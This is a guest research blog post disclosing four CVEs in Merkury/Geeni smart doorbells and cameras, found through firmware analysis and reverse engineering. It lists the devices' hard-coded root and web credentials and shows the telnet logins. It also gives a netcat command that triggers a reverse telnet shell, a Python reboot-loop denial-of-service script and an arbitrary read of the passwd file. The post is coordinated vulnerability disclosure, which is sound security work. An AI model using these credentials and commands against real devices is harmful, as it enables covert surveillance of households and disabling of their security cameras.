<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><h2>Introduction</h2>
We’re happy to present a guest blog by one of the early adopters of ReFirm Labs’ IoT Cybersecurity Education Program, Dr. TJ O’Connor from Florida Tech.
Dr. O’Connor and graduate student Daniel Campos used Binwalk Enterprise and the popular Binary Ninja reverse engineering platform to identify backdoors and vulnerabilities in consumer doorbells and cameras.
What they uncovered is quite alarming. We have our own commentary in a separate post.
The Case Against Smart Devices
The market for internet-connected smart doorbells and security cameras has grown substantially over the last couple of years. We recently discovered four significant vulnerabilities in several doorbells and four security cameras that are being sold at popular retailers such as Walmart and Amazon. The vulnerabilities could enable a remote attacker to gain privileges access to the devices, listen to all audio and video recorded on the devices, and ultimately use the devices to covertly spy on their users.
We reported the doorbell and camera vulnerabilities to both MITRE and the vendor in November of 2020. The vulnerable models include the Merkury/Geeni GNC-CW013, GNC-CW025, MI-CW024 doorbells and GNC-CW003, GNC-CW010, GNC-CW028, MI-CW017 cameras models. We are sharing the results of our research to identify the need for greater scrutiny and standards on products that have such access to our lives.
CVE-2020-28998: Remote telnet with static credentials on GNC-CW013 Doorbell (Firmware Version 1.8.1)
CVE-2020-28999: Undocumented account with static credentials on GNC-CW013 Doorbell Steaming Video Application (Firmware Version 1.8.1)
CVE-2020-29000: Ability to remotely shovel a telnet session by hijacking RTSP service on Geeni GNC-CW013 (Firmware Version 1.8.1)
CVE-2020-29001: Remote command execution through the RESTFul API to enable telnet service and arbitrary file read. (Firmware Versions 2.7.2. 2.9.5, 2.9.6)
We identified the vulnerabilities by reading the firmware from the devices, analyzing in the ReFirm Labs Centrifuge Platform, and reverse engineering the code in Binary Ninja.
CVE-2020-28998
Centrifuge provided a lot of useful information about the vulnerabilities we identified. After uploading the firmware, we used the Password Hash Analysis module to retrieve the password hash. The root password hash is an MD5 hash of a four-letter password. It took only a few minutes to resolve it to the password “apix.”
We were then able to login to the exposed telnet service on the GNC-CW013 doorbell as the root user.
$ telnet 192.168.1.3login: rootpassword: apixwelcome to HiLinux~#
CVE-2020-28999
Next, we explored other potential vectors for gaining remote access to the device through undocumented services. Again Centrifuge was invaluable in identifying potential binaries to spend time reverse engineering. We clicked the tabs for “Buffer Overflows” and “Networking” in hopes of finding services that might be vulnerable to remote code execution through buffer overflows. We downloaded the rtspd binary and libhipcam.so shared library since they both seemed interesting.
After walking through the disassembly in Binary Ninja, we identified that the user “apexis” could login with the password “008”. We were unsure of the service where we could use these credentials since libhipcam.so is just a shared object. We tested the telnet service again, but the apexis credentials did not work. We noticed a web application and tested the credentials there, allowing us remote access to view a streaming video feed of the doorbell camera.
After a little bit more work, we learned that the binary ppsapp used the libhipcam.so shared library for authentication. What’s a little concerning is that the apexis account doesn’t show up in the logs after logging in. We were curious why and further investigate.
After examining the ppsapp webserver, we discovered that most of its functionality resides in cgi binaries to run the server-side applications. We traced the logs and discovered that during a log write event, the cgi program write_log.cgi is called with a set type and user parameter. Binary Ninja helps us identify a call to an external function, ap_cs_trans_msg (which is located in the libhipcam.so library) and is called when cf_check_user() returns successfully.
The ap_cs_trans_msg() function called writes directly to a socket, which is subsequently processed by another program.
As we have previously gained root access to the device, we just used the operating system tools to list the running programs and their associated sockets.
We matched the inode for the /tmp/ds_server.sock and realized it was being opened by the rtspd binary.
# cat ./find-socket.shfor i in $(ls /proc); do
if [ -d /proc/$i/fd ]; then
if ls -l /proc/$i/fd 2> /dev/null | grep -q “socket:[719]”; then
echo “Found socket for pid $i: $(cat /proc/$i/cmdline)”
fi
fi
done#./find-socket.sh
Found socket for pid 867: rtspd
We were then able to investigated the rtspd binary and find the associated function, add_logitemtofile, that handled the writing that the user had logged in. It is concerning that the function specifically avoids write logs for the user “apexis.” This confirmed our initial hypothesis that the developers, for whatever reason, did put an intentional unlogged backdoor into the device.
It’s also of interest to note that several of the cgi programs describe functionality which isn’t available on this device. This could indicate that this interface is part of a larger collection of programs used to manage several different categories of devices, like DVRs or CCTV cameras. These accounts may be a carry from functionality stemming from one of those categories.
CVE-2020-29000
Next, we decided to look at the rtspd binary, which appeared to be some form of a RTSP streaming server. Analyzing it dynamically (from our earlier established) telnet session, we identified that the rtspd binary made a connection to apexisalarm.com and received commands. We overwrote the dns settings of apexisalarm.com and identified a set of potential commands after reverse-engineering the rtspd binary in Binary Ninja.
We started up a netcat UDP listener on port 8089 and issued the command from our host.
$nc -4 -l -v -p 8089 -u -v
cmd:start apx console
We observed that the rtpsd binary made an outbound UDP connection on port 9089. We accepted the connection, which was a reverse telnet session! We logged in with the earlier discovered credentials root/apix.
$ nc -4 -l -v -p 9089 -v -k
(none) login: root
root
Password: apix
apix
Welcome to HiLinux
~#
CVE-2020-29001
We then moved onto other devices and downloaded the Geeni Firmware Versions 2.7.2, 2.9.5 and 2.9.6. We downloaded the hashes from 2.7.2. But we were unable to crack them as in the earlier version. It did not much matter either, as the telnet service was not enabled when we performed a nmap network discovery of the device.
So we moved to the next logical step. We had seen the ppsapp binary previously. We noticed that in the 2.7.2 version, it again was reported as a high-risk executable.
We downloaded it and uploaded it into Binary Ninja to begin reverse-engineering the binary. While we were waiting for Binary Ninja to finish analyzing the functions, we quickly looked at the binary with the strings command. We grepped the results by “html” thinking that the binary provided some type of webserver. But we were shocked by the results.
$ strings ppsapp | grep html
mg_printf_html_escape
html
text/html
shtml
Content-Type: text/html
<html><body>Upload example.<form method=“POST” action="%.*s" enctype=“multipart/form-data”><input type=“file” name=“file” /> <br/><input type=“submit” value=“Upload” /></form></body></html>
Content-Type: text/html
<html><body>Internal Error</body></html>
Content-Type: text/html
<html><body>No encrypt information</body></html>
Content-Type: text/html
<html><body>Upgrade from ppstrong release package.<form method=“POST” action="%.*s" enctype=“multipart/form-data”><input type=“file” name=“file” /> <br/><input type=“submit” value=“Upload” /></form></body></html>
<html><head>PPStrong Tech Co.Ltd.</head></html>
Content-Type: text/html
Content-Type: text/html
<html><body>Telnetd service %s ok</body></html>
Content-Type: text/html
<html><body>reboot device.<form method=“POST” action="/devices/reboot" ><input type=“submit” value=“reboot” /></form></body></html>
Content-Type: text/html
/index.html
It appeared the ppsapp offered the functionality to remotely upload firmware, reboot the device, enable the telnet service. Looking at the disassembled binary confirmed our suspicion.
However, we still didn’t have the credentials to login to the ppsapp. Looking through the binary, we once again discovered default credentials.
We tested logging into the web application using admin/056565099 and were able to gain access to the RESTFul interface. So we wrote a quick proof of concept denial of service that identified we could disable the doorbell by continually rebooting it.
import requests from requests.auth import HTTPBasicAuth host = ’192.168.1.2’ user=’admin’ pswd=’056565099’
while True:
auth=auth=HTTPBasicAuth(user,pswd)
url = ’http://’+host+’/devices/reboot’
res=requests.post(url,auth=auth)
On the Firmware Version 2.7.2 (which is the current version for the GNC-CW028 model camera). We could remotely enable the telnet service. We were even able to read the password hashes directly off the RESTFul application using the call to /proc/self/root/etc/passwd.
We tested this attack vector against Firmware Versions 2.9.5 and 2.9.6. Oddly we noticed that the arbitrary file read still worked but the call to enable telnet did not. So we used the functionality of Centrifuge to examine the differences in the firmware to identify the cause.
Centrifuge has a nice reporting tool that allows you to compare the differences between two sets of firmware. We used it to look at the differences between 2.7.2 and 2.9.5. We looked at it and spotted that the telnetd binary had been removed from the 2.9.5 version.
The passwords remained the same in the 2.9.5 version of firmware. And the functionality remained in the RESTFul application. The developers just choose to mitigate it by removing the telnetd binary. However, they left the same default credentials and arbitrary file reads and denial of services vulnerable.
Overall, it was a good start to reverse engineer firmware. We’re still hunting that exclusive remote code execution exploit in rtspd or ppsapp that lead us on this journey.
About the Author
Dr. O’Connor is an Assistant Professor and the Cybersecurity Program Chair and Director of the IoT Security and Privacy Lab at Florida Tech. His current research investigates the security aspects behind the transparency and control of IoT devices. Prior to joining Florida Tech, TJ served twenty years in the US Army with four separate assignments in the US Army Special Forces and a faculty position in the Department of Electrical Engineering and Computer Science at the US Military Academy.
Vulnerability Disclosures
https://research.fit.edu/media/site-specific/researchfitedu/iot-lab/Geeni_Disclosures.pdf
</div>
</div>
</div>
<p>The post <a href="https://www.refirmlabs.com/florida-tech-cybersecurity-researchers-discover-hidden-vulnerabilities-in-wireless-doorbells-cameras/" rel="noreferrer" target="_blank">Florida Tech Cybersecurity Researchers Discover Hidden Vulnerabilities in Wireless Doorbells, Cameras</a> appeared first on <a href="https://www.refirmlabs.com" rel="noreferrer" target="_blank">ReFirm Labs</a>.</p>